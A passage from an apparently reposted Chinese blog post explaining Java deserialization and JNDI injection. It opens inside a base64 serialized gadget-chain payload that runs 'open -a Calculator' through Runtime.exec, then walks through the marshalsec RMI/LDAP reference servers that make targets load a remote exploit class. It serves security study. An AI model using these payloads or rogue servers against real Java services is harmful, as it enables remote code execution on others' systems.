ZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAEm9wZW4gLWEgQ2FsY3VsYXRvcnQABGV4ZWN1cQB+ADIAAAABcQB+ADdzcQB+ACdzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg="; e.addAttribute("javaSerializedData", Base64.decode(base64String));

JNDI+LDAP的調用棧如下:

javax.naming.InitialContext #lookupcom.sun.jndi.url.ldap.ldapURLContext #lookupcom.sun.jndi.toolkit.url.GenericURLContext #lookupcom.sun.jndi.toolkit.ctx.PartialCompositeContext #lookupcom.sun.jndi.toolkit.ctx.ComponentContext #p_lookupcom.sun.jndi.ldap.LdapCtx #c_lookupcom.sun.jndi.ldap #decodeObjectcom.sun.jndi.ldap #deserializeObject

decodeObject這步中,如果javaSerializedData屬性的值不為空,就對其屬性值進行反序列化deserializeObject,該方法就是原生反序列化的過程((ObjectInputStream)var20).readObject()。

static Object decodeObject(Attributes var0) throws NamingException {String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));try {Attribute var1;if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) { // javaSerializedData的值不為空ClassLoader var3 = helper.getURLClassLoader(var2);return deserializeObject((byte[])((byte[])var1.get()), var3);} ... }

高版本限制com.sun.jndi.ldap.VersionHelper12獲取URLClassLoader時會判斷com.sun.jndi.ldap.object.trustURLCodebase是否為true。

final class VersionHelper12 extends VersionHelper {private static final String TRUST_URL_CODEBASE_PROPERTY = "com.sun.jndi.ldap.object.trustURLCodebase";private static final String trustURLCodebase = (String)AccessController.doPrivileged(new PrivilegedAction<String>() {public String run() {return System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");}});ClassLoader getURLClassLoader(String[] var1) throws MalformedURLException {ClassLoader var2 = this.getContextClassLoader();return (ClassLoader)(var1 != null && "true".equalsIgnoreCase(trustURLCodebase) ? URLClassLoader.newInstance(getUrlArray(var1), var2) : var2);} }

七、JNDI注入工具分析

marshalsec

所謂的JNDI工具就是能幫助我們起一個JNDI服務,例如上面Demo中的java -cp marshalsec.jar marshalsec.jndi.RMIRefServer http://ip:1389/\#Exp_fast,看一下這部分的具體實現。

RMI/LDAP服務用法,第一個參數是<codebase>#<class>,第二個參數是port(此參數可選)

java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]

RMIRefServer

先看看主函數,核心方法就兩步,一是new RMIRefServer將參數(port,url)傳入構造函數,二是調用run方法,開啟JRMP listener。

RMIRefServer c = new RMIRefServer(port, new URL(args[0])); // args[0]為<codebase>#<class> c.run();

構造方法:

public RMIRefServer(int port, URL classpathUrl) throws IOException {this.port = port;this.classpathUrl = classpathUrl;this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); }

在解析run方法之前,先說說構造方法中用到的ServerSocketFactory所代表的——Socket編程

Java Socket

應用程序建立遠程連接是通過Socket(套接字)來實現的,編程語言對操作系統功能進行封裝,提供Socket類,每個應用程序對應到不同的Socket。一個Socket由IP地址和端口號(0-65535)組成??蛻舳撕头掌?#xff08;兩臺主機,一方發起,一方監聽)都通過對Socket對象的寫入和讀取來進行通信,過程大致如下:

// 服務器端public static void main(String[] args) throws Exception {int port = 1234;ServerSocket server = new ServerSocket(port); // 服務器實例化一個ServerSocket對象Socket socket = server.accept(); // 服務器調用accept方法開始等待請求InputStream inputStream = socket.getInputStream(); //從socket中獲取輸入流byte[] bytes = new byte[1024];int len;StringBuilder sb = new StringBuilder();while ((len = inputStream.read(bytes)) != -1) {sb.append(new String(bytes, 0, len,"UTF-8")); //將流轉換成字符串}System.out.println("get message from client: " + sb);inputStream.close();socket.close();server.close();}// 客戶端public static void main(String args[]) throws Exception {String host = "127.0.0.1"; int port = 1234;Socket socket = new Socket(host, port); // 客戶端實例化一個Socket對象,連接服務器指定端口OutputStream outputStream = socket.getOutputStream();String message="Hello";socket.getOutputStream().write(message.getBytes("UTF-8"));outputStream.close();socket.close();}

如果沒有客戶端連接,accept方法就會一直阻塞并保持等待。如果有多個客戶端同時連接,就會進入到ServerSocket的隊列一個一個進行處理。不斷調用accept就可以獲取新的連接。構造方法中的ss屬性就類似new ServerSocket(port);。

此時再看run方法,調用ss.accept方法開始等待請求,一旦接受到請求,獲取此套接字連接的端點的地址,然后從socket中獲取輸入流:

public void run() {try {while(!this.exit && (s = this.ss.accept()) != null) {try {s.setSoTimeout(5000); InetSocketAddress remote = (InetSocketAddress)s.getRemoteSocketAddress();System.err.println("Have connection from " + remote);InputStream is = s.getInputStream();InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);// InputSteam.mark(int readlimit),在輸入流中標記當前位置,后續調用reset方法重新將流定位于最后標記的位置//參數readlimit是標記位置變為非法數據前允許讀的字節數,一旦超過這個設置,就認為mark標記失效, 不能再讀以前的數據了((InputStream)bufIn).mark(4);DataInputStream in = new DataInputStream((InputStream)bufIn);Throwable var6 = null;try {// 讀取rmi的magic 0x4a524d49(十進制為1246907721)、version(默認為2)int magic = in.readInt();short version = in.readShort();if (magic == 1246907721 && version == 2) { // 判斷是RMI協議OutputStream sockOut = s.getOutputStream();BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);DataOutputStream out = new DataOutputStream(bufOut);Throwable var12 = null;try {byte protocol = in.readByte();// protocol有三種,StreamProtocol、SingleOpProtocol、MultiplexProtocol// 分別對應0x4b、0x4c、0x4d,對應的是十進制為75、76、77switch(protocol) {case 75:out.writeByte(78); //78為0x4e,代表ProtocolAckif (remote.getHostName() != null) {out.writeUTF(remote.getHostName());} else {out.writeUTF(remote.getAddress().toString());}out.writeInt(remote.getPort());out.flush();in.readUTF();in.readInt();case 76:this.doMessage(s, in, out);bufOut.flush();out.flush();break;case 77:default:System.err.println("Unsupported protocol");s.close();}} ... }

如果是SingleOpProtocol,就調用doMessage:

private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception {System.err.println("Reading message...");int op = in.read();switch(op) {case 80: // 0x50 -> Call this.doCall(in, out);break;case 81: // 0x51 -> Returncase 83: // 0x53 -> PingAckcase 82: // 0x52 -> Pingout.writeByte(83);break;case 84: // 0x54 -> DGCAckUID.read(in);}... }

doCall:

ObjID read = ObjID.read(ois); // REGISTRY_ID = 0 | ACTIVATOR_ID = 1| DGC_ID = 2 if (read.hashCode() == 2) {handleDGC(ois); } else if (read.hashCode() == 0 && this.handleRMI(ois, out)) {this.hadConnection = true;synchronized(this.waitLock) {this.waitLock.notifyAll();return; }

handleRMI是JNDI Reference的核心,在上面RMI bypass中提到,遠程RMI獲取Remote對象時需要被ReferenceWrapper包裝。handleRMI的功能就是完成ReferenceWrapper的構造。RMI源碼解析的文章中也提到過如果需要序列化遠程對象或包含對遠程對象的引用的對象,則必須使用MarshalOutputStream,它擴展自ObjectOutputStream,根據傳入的protocol version來生成流。

private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception {int method = ois.readInt();ois.readLong();if (method != 2) {return false;} else {String object = (String)ois.readObject();System.err.println("Is RMI.lookup call for " + object + " " + method);out.writeByte(81);ObjectOutputStream oos = new RMIRefServer.MarshalOutputStream(out, this.classpathUrl);Throwable var6 = null;try {oos.writeByte(1);(new UID()).write(oos);System.err.println(String.format("Sending remote classloading stub targeting %s", new URL(this.classpathUrl, this.classpathUrl.getRef().replace('.', '/').concat(".class"))));ReferenceWrapper rw = (ReferenceWrapper)Reflections.createWithoutConstructor(ReferenceWrapper.class); // 創建ReferenceWrapperReflections.setFieldValue(rw, "wrappee", new Reference("Foo", this.classpathUrl.getRef(), this.classpathUrl.toString())); // 創建ReferenceField refF = RemoteObject.class.getDeclaredField("ref");refF.setAccessible(true);refF.set(rw, new UnicastServerRef(12345));oos.writeObject(rw);oos.flush();out.flush();} }

LDAPRefServer

同樣先看一下main方法:

InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(new String[]{"dc=example,dc=com"}); // 指定用于目錄服務器的監聽器配置,此處傳入監聽端口 config.setListenerConfigs(new InMemoryListenerConfig[]{new InMemoryListenerConfig("listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory)SSLSocketFactory.getDefault())}); // 添加攔截器,用于在內存目錄服務器處理請求之前轉換請求 config.addInMemoryOperationInterceptor(new LDAPRefServer.OperationInterceptor(new URL(args[0]))); // 創建LDAP服務器實例 InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); // 啟動服務器,接收客戶端連接 ds.startListening();

攔截器的實現主要是發送LDAP Reference,核心在于設置Entry的屬性。

private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor(URL cb) { this.codebase = cb;}public void processSearchResult(InMemoryInterceptedSearchResult result) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base); //創建Entrythis.sendResult(result, base, e);}protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "foo");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf(35);if (refPos > 0) {cbstring = cbstring.substring(0, refPos);}// 設置屬性為JNDI Reference,高版本繞過此處還應該加入javaSerializedData選項。e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference");e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}

總結

以上是生活随笔為你收集整理的Java反序列化和JNDI注入的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。